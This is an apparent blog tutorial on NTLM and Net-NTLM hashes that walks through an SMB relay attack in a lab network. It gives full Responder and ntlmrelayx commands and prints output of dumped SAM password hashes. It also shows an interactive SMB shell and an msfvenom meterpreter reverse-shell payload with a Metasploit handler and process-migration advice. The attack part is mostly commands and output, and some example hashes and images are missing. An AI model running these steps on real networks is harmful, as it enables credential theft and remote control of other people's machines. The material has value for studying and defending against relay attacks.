NTLM, NTLMv1/v2 and Net-NTLMv1/v2
NTLM (no v1 or v2) are stored in the Security Account Manager (SAM) Database and in the Domain Controllers NTDS.dit database. An example hash:
The stucture of the string is simple; before the colon is the LM, and the NT is after. Starting with Windows Vista and Windows Server 2008, by default, only the NT hash is stored. NTLMv1/v2 and Net-NTLMv1/v2 are synonymous, NTLMv1/v2 is shorthand for Net-NTLMv1/v2. NTLMv1/v2 are used as a network authentication solution and it is dervied from the challenge and response algorithm which is based on the users NT Hash.
An example hash:
So, the big difference here is that NTLM is used for local authentication, whereas NTLMv1/v2 is used at a network level. It is POSSIBLE to Pass-The-Hash with NTLM but NOT with NTLMv1/v2. To obtain NTLM hashes, the SAM database or the NTDS.dit must be taken from the server. Obtaining NTLMv1/v2 is done with tools like Responder and Inveigh. MS08-067 patches prevent the NTLMv1/v2 relaying back to its own machine, this is known as a reflective attack. However, it is possible to relay them to another machine.
NTLM is a challenge/response protocol. The authentication happens something like this: First, the client attempts to login and the server responds with a challenge. In effect the server says, "If you are who you say you are, then encrypt this thing (Challenge X) with your hash." Next, the client encrypts the challenge and sends back the encrypted challenge response. The server then attempts to decrypt that encrypted challenge response with the user's password hash. If it decrypts to reveal the challenge that it sent, then the user is authenticated. Here is an illustration of a challenge/response authentication.
The attacker sits directly in the middle of this exchange passing off information passing it off as it recieves it. The client wants to authenticate, the attack peaks,the server issues the challenge, the attacker peaks, the client responds, the attack peaks...
Credit for the images and a portion of the theory here.
Download Responder from Igandx's fork, it has been longer supported by him.
Open Responder.conf and make these changes:
[Responder Core] ; Servers to start SQL = On SMB = Off # Turn this off Kerberos = On FTP = On POP = On SMTP = On IMAP = On HTTP = Off # Turn this off HTTPS = On DNS = On LDAP = On
Next thing is to have a relaying tool. Responder has a relay, but Impacket also comes with a relaying tool called ntlmrelayx.py which I will use here.
Download impacket here. Install it by running:
Install the requirements:
pip install -r requirements.txt
Run the installer:
python setup.py install
python Responder.py -I eth0 -r -d -w
This will now begin listening for NTLMv1/v2 hashes travelling around the network.
Run ntlmrelayx.py with a singlehost:
python ntlmrelayx.py -t 10.10.11.2
Run ntlmrelayx.py with a bunch of hosts:
python ntlmrelayx.py -tf relay.txt
ntlmrelayx.py will use the output from Responder.py and try to authenticate against the targets. By default, it will dump the SAM database:
[*] Protocol Client LDAP loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server [*] Servers started, waiting for connections [*] Setting up HTTP Server [*] SMBD: Received connection from 10.10.11.53, attacking target smb://10.10.11.2 [*] Authenticating against smb://10.10.11.2 as LAB\user.one SUCCEED [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] SMBD: Received connection from 10.10.11.53, attacking target smb://10.10.11.2 [*] Authenticating against smb://10.10.11.2 as LAB\user.one SUCCEED [*] Target system bootKey: 0x2eeaf48b3ed9dc7571c1661ed03dda79 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) [*] Target system bootKey: 0x2eeaf48b3ed9dc7571c1661ed03dda79 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:bb3233c52a03e37c47ce4c22c95c56ea::: Guest:501:aad3b435b51404eeaad3b435b51404ee:bb3233c52a03e37c47ce4c22c95c56ea::: admin:1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::: [*] Done dumping SAM hashes for host: 10.10.11.2 admin:1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::: [*] Done dumping SAM hashes for host: 10.10.11.2 [*] Stopping service RemoteRegistry
Below is a screenshot of the SAM database being dumped:
This is simple, run the ntlmrelayx.py command with an -i flag:
ntlmrelayx.py -tf relay.txt -i
ntlmrelayx will try to authenticate against all hosts in the text file, once authentication is successful; the following will display in the terminal:
[*] SMBD: Received connection from 10.10.11.53, attacking target smb://10.10.11.2 [*] Authenticating against smb://10.10.11.2 as LAB\user.one SUCCEED [*] Started interactive SMB client shell via TCP on 127.0.0.1:11001
To connect to the server:
nc 127.0.0.1 11001
ntlmrelayx.py has a -e flag that will allow for file execution on successful authentication. For this, an msfvenom file will be generated:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.11.1 LPORT=4444 -f exe > smbrev.exe
Create a msf handler to listen for the call backs and return a meterpreter payload:
use exploit/multi/handler setg LHOST 10.10.11.1 set payload windows/meterpreter/reverse_tcp run
Next, rerun ntlmrelayx.py with the -e flag:
python ntlmrelayx.py -tf ~/relay.txt -e ~/smbrev.exe
As mentioned before, the above command is calling a list of targets with -tf and -e to execute a file.
The above screenshots show ntlmrelayx.py running the msfvenom payload.
Switching to msfconsole; quickly migrate to another process (spoolss or winlogon are my preference) process because the payload will die fairly quick. Do this by running
ps and migrating to the chosen process.